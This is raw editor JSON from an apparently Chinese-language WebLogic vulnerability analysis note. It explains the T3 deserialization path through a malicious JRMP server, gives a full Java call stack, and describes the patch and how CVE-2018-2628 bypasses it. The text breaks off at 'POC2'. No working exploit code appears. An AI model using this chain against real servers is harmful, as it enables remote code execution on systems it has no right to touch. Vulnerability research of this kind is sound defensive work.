&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/5933/WEBRESOURCE7559c2292ddb1e9ed9316b6fb6b4a5d8&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kHph-1676619980653&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EGR8-1676619980652&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;查看传入的LiveRef对象可以看到我们在payload中放置的TCPEndpoint以及恶意jrmp server地址，DGClient将会使用registerRefs方法注册这个对象：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0gAI-1676623496730&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5951/WEBRESOURCE3c88749cc873ae1ac4338b36e333b4d2&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/5951/WEBRESOURCE3c88749cc873ae1ac4338b36e333b4d2&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ur9r-1676623685616&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;clu5-1676623685614&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;并最终触发DitryCall将从jrmp server获取的数据进行反序列化：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;e4CW-1676623686322&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5956/WEBRESOURCEa482c38cc5caa6c006f9740601959974&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/5956/WEBRESOURCEa482c38cc5caa6c006f9740601959974&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9MuG-1676623761631&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5960/WEBRESOURCE17feaf894889877495e96ab1e2f8d02e&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/5960/WEBRESOURCE17feaf894889877495e96ab1e2f8d02e&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1yC8-1676624107214&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5963/WEBRESOURCE984c0d98ebe8ae67b6934856caa978eb&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CTo5-1676624107219&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UpLP-1676624107218&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;调用栈如下：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JVnn-1676619981280&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;djfr-1676619981206&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;a5WN-1676619981205&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;executeCall:245, StreamRemoteCall (sun.rmi.transport)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XvnT-1676619981208&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5YoW-1676619981207&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke:379, UnicastRef (sun.rmi.server)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rUcp-1676619981210&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FTmG-1676619981209&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;dirty:-1, DGCImpl_Stub (sun.rmi.transport)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cNs6-1676619981212&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Wxsv-1676619981211&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;makeDirtyCall:378, DGCClient$EndpointEntry (sun.rmi.transport)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;j4YI-1676619981214&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Vq4H-1676619981213&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;registerRefs:320, DGCClient$EndpointEntry (sun.rmi.transport)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ywDy-1676619981216&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;c8qH-1676619981215&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;registerRefs:156, DGCClient (sun.rmi.transport)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dnSM-1676619981218&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rbne-1676619981217&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;read:312, LiveRef (sun.rmi.transport)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gX8I-1676619981220&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;c3CZ-1676619981219&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readExternal:493, UnicastRef (sun.rmi.server)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ysm0-1676619981222&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XwUE-1676619981221&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:455, RemoteObject (java.rmi.server)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JeAl-1676619981224&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fGo1-1676619981223&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke0:-1, NativeMethodAccessorImpl (sun.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bPEN-1676619981226&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;buhz-1676619981225&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke:62, NativeMethodAccessorImpl (sun.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Hart-1676619981228&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;a4zM-1676619981227&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke:43, DelegatingMethodAccessorImpl (sun.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kKlk-1676619981230&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fN0V-1676619981229&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invoke:498, Method (java.lang.reflect)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;huNw-1676619981232&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8759-1676619981231&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;invokeReadObject:1058, ObjectStreamClass (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ghMR-1676619981234&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;d3bi-1676619981233&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readSerialData:2122, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9Epk-1676619981236&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Iu9v-1676619981235&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readOrdinaryObject:2013, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZjvW-1676619981238&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Y4N5-1676619981237&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject0:1535, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bKhU-1676619981240&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;E7Kq-1676619981239&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;defaultReadFields:2231, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kxzs-1676619981242&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;q5uW-1676619981241&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readSerialData:2155, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yZLG-1676619981244&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BBGl-1676619981243&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readOrdinaryObject:2013, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bdHc-1676619981246&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rKzy-1676619981245&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject0:1535, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DpZl-1676619981249&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gyPk-1676619981248&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:422, ObjectInputStream (java.io)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZqPd-1676619981251&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;u14x-1676619981250&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readObject:66, InboundMsgAbbrev (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;p1iX-1676619981253&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vOUf-1676619981252&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;read:38, InboundMsgAbbrev (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kPWU-1676619981255&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZsFO-1676619981254&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ggFn-1676619981257&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Dk5n-1676619981256&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;init:213, MsgAbbrevInputStream (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Nduu-1676619981259&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;w9eY-1676619981258&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6ibi-1676619981261&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;haPe-1676619981260&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Cf4C-1676619981263&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mwSW-1676619981262&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dOD3-1676619981265&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pUOo-1676619981264&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readReadySocketOnce:967, SocketMuxer (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fESN-1676619981267&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IQ5b-1676619981266&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;readReadySocket:899, SocketMuxer (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9Oev-1676619981269&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3hay-1676619981268&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;processSockets:130, PosixSocketMuxer (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3f8r-1676619981271&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MCPD-1676619981270&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;run:29, SocketReaderRequest (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qd48-1676619981273&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cIlN-1676619981272&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;execute:42, SocketReaderRequest (weblogic.socket)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DYXg-1676619981275&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1b0i-1676619981274&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;execute:145, ExecuteThread (weblogic.kernel)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GpJG-1676619981277&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;AI1m-1676619981276&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;run:117, ExecuteThread (weblogic.kernel)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rg6n-1676619981279&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;D7dN-1676619981278&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;swift&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Z7dD-1676620003398&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5930/WEBRESOURCE6cd47613f5a72dafbf73d8683873df34&#34;,&#34;width&#34;:1924,&#34;height&#34;:414},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/5930/WEBRESOURCE6cd47613f5a72dafbf73d8683873df34&#34;,&#34;initialSize&#34;:{&#34;width&#34;:1924,&#34;height&#34;:414},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Kg4B-1676624145613&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5965/WEBRESOURCEf7d71c6e8c4bccd43997876c0ee67405&#34;,&#34;width&#34;:1934,&#34;height&#34;:262},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/5965/WEBRESOURCEf7d71c6e8c4bccd43997876c0ee67405&#34;,&#34;initialSize&#34;:{&#34;width&#34;:1934,&#34;height&#34;:262},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;L1AQ-1676619983600&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QD2y-1676619983599&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;修复&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;F0pa-1676624538539&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oGK6-1676624538540&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;补丁在weblogic.rjvm.InboundMsgAbbrev中新增了一个resolveProxyClass方法用于检测传入RMI接口类是否为java.rmi.registry.Registry，若是则会抛出异常：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;v7XV-1676625436514&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5977/WEBRESOURCE183a6c21e9c620d0fc0b0fe3632a3b96&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/5977/WEBRESOURCE183a6c21e9c620d0fc0b0fe3632a3b96&#34;,&#34;initialSize&#34;:{&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BwnO-1676600674784&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;meSQ-1676600674783&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;流量特征如下：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zkFN-1676625496305&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5979/WEBRESOURCE85c4f440962b5116ee06f3a600e420e0&#34;,&#34;width&#34;:1708,&#34;height&#34;:1586},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/5979/WEBRESOURCE85c4f440962b5116ee06f3a600e420e0&#34;,&#34;initialSize&#34;:{&#34;width&#34;:1708,&#34;height&#34;:1586},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xDXW-1676625533866&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5981/WEBRESOURCE11a064c18b87be2d0378994dccc89a99&#34;,&#34;width&#34;:1708,&#34;height&#34;:1586},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/5981/WEBRESOURCE11a064c18b87be2d0378994dccc89a99&#34;,&#34;initialSize&#34;:{&#34;width&#34;:1708,&#34;height&#34;:1586},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;k6qu-1677052965116&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5997/WEBRESOURCE0fa26bbc11d881e4a9c88d8fd41b07e1&#34;,&#34;width&#34;:1708,&#34;height&#34;:1374},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/5997/WEBRESOURCE0fa26bbc11d881e4a9c88d8fd41b07e1&#34;,&#34;initialSize&#34;:{&#34;width&#34;:1708,&#34;height&#34;:1374},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;97In-1677052922626&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Uael-1677052922627&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hHj7-1677053721303&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UB5B-1677053721298&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;CVE-2018-2628&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LRTn-1677053028001&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZOQC-1677053027999&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;该CVE本应是上文中补丁的绕过，但显然上文中补丁并不是很有效。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dA47-1677053825340&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fwiI-1677053825337&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;POC1:&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wFZt-1677053841368&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1AHF-1677053841366&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;通过上文poc代码中的提到的，其实整个反序列化过程中不需要通过java.lang.reflect.Proxy与java.rmi.server.RemoteObjectInvocationHandler代理封装，直接使用UnicastRef类进行反序列化，在反序列化过程中不会调用到resovleProxyClass。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;D6Qn-1677054228724&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;l4rn-1677054228722&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;POC2:&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4M87-1677054231712&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hm09-1677054231711&#34;,&#34;leaves&